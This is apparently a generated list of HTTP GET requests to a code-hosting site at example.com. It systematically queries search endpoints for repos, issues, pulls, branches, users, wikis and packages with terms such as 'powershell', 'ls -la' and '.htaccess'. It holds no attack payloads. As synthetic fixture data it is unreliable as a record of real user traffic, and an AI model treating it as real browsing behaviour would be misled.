+{"method": "GET", "target": "/issues?type=your_repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/users?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/organizations?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice?tab=repositories&q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=python3&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/repos?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/users?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/organizations?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=powershell&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/repos?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/users?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/organizations?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=ls%20-la&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/repos?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/users?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/organizations?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=.htaccess&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/repos?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
